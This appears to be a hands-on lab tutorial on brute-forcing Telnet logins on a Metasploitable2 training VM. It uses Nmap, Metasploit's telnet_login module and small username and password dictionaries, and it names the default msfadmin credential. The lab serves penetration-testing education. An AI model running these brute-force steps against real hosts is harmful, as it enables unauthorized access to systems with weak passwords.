Exploit Telnet Service Vulnerability with Metasploit

Introduction

In this lab, we will learn how to exploit the Telnet service vulnerability and perform a penetration attack. The scenario involves using the Kali Linux machine as the attacking machine and the Metasploitable2 virtual machine as the target machine. The objective is to scan the target machine for vulnerabilities, identify the Telnet service vulnerability, and exploit it using the Metasploit Framework.

Start the Lab Environment

In this step, we will start the lab environment, which includes the Kali Linux container and the Metasploitable2 virtual machine.

Open an xfce terminal on the LabEx host machine and start the Metasploitable2 target by running the following command:

sudo virsh start Metasploitable2

Wait for the target machine to start, it may take 1-3 minutes.

Test the connectivity to the target machine by pinging it:

ping 192.168.122.102

Press Ctrl+C to stop the ping.

Launch the Kali Linux container and enter the bash environment by running:

docker run -ti --network host b5b709a49cd5 bash

Inside the Kali container, test the network connection to the target machine:

ping 192.168.122.102

Press Ctrl+C to stop the ping.

Now both the attack machine and the target machine are running, and you can start the penetration testing.

Note: If you accidentally exit the current bash, the Kali container will automatically stop. You can execute docker run -ti --network host b5b709a49cd5 bash again on the host to start a new Kali container and enter bash to continue the experiment.

Perform Vulnerability Scanning

In this step, we will use Nmap to scan the target machine for open ports and services.

First, start the PostgreSQL database, as Metasploit requires it for data storage:

service postgresql start
msfdb init
cd ~
msfconsole

Within the Metasploit console, run the Nmap scan against the target machine:

nmap -sV -T4 192.168.122.102

The -sV option scans open ports and shows detailed port information, while -T4 sets the scan timing policy (0-5, higher values are faster but noisier).

Analyze the Scan Results

In this step, we will analyze the Nmap scan results to identify the vulnerable Telnet service.

The Nmap scan output shows that the Telnet service is running on port 23 with the banner "Linux telnetd". Let's search for the corresponding Metasploit module:

search scanner/telnet

Use the auxiliary/scanner/telnet/telnet_login module:

use auxiliary/scanner/telnet/telnet_login

Show the module options:

show options

The required option is RHOSTS, which specifies the target host(s).

Press Ctrl+D to quit the Metasploit console then start the inspection

Prepare the Username and Password Dictionary

In this step, we will prepare the username and password dictionary files for the login brute-force attack.

Open a new terminal and connect to the Kali container:

docker run -ti --network host b5b709a49cd5 bash

Create a file username.txt in / directory with the following usernames:

123456
admin
msfadmin
root
kali

Create another file password.txt in / directory with the following passwords:

abc123
1234
123456
root
msfadmin
admin
toor

These files will be used as the username and password dictionaries for the brute-force attack.

Configure the Metasploit Module

In this step, we will configure the Metasploit module with the target host, username dictionary, and password dictionary.

First of all, if you are not in the Metasploit console, you should start the Metasploit console:

cd ~
msfconsole

Use the auxiliary/scanner/telnet/telnet_login module:

use auxiliary/scanner/telnet/telnet_login

Set the target host:

set RHOSTS 192.168.122.102

Set the username dictionary file:

set USER_FILE /username.txt

Set the password dictionary file:

set PASS_FILE /password.txt

At last, run the exploit:

exploit

Metasploit will start trying different username and password combinations from the provided dictionaries. If a valid credential is found, it will be displayed in green.

In this case, the valid credential is msfadmin/msfadmin.

Press Ctrl+D to quit the Metasploit console then start the inspection

Summary

In this lab, we learned how to exploit the Telnet service vulnerability using the Metasploit Framework. We started by setting up the lab environment with the Kali Linux attacking machine and the Metasploitable2 target machine. We then performed vulnerability scanning using Nmap to identify the open Telnet service. Next, we prepared the username and password dictionaries and configured the Metasploit module with the target host and dictionary files. Finally, we executed the exploit and successfully brute-forced the Telnet login credentials.

This lab provided hands-on experience in penetration testing, vulnerability scanning, and utilizing the Metasploit Framework for exploiting vulnerabilities. It highlighted the importance of secure password practices and the potential risks of using weak or easily guessable credentials.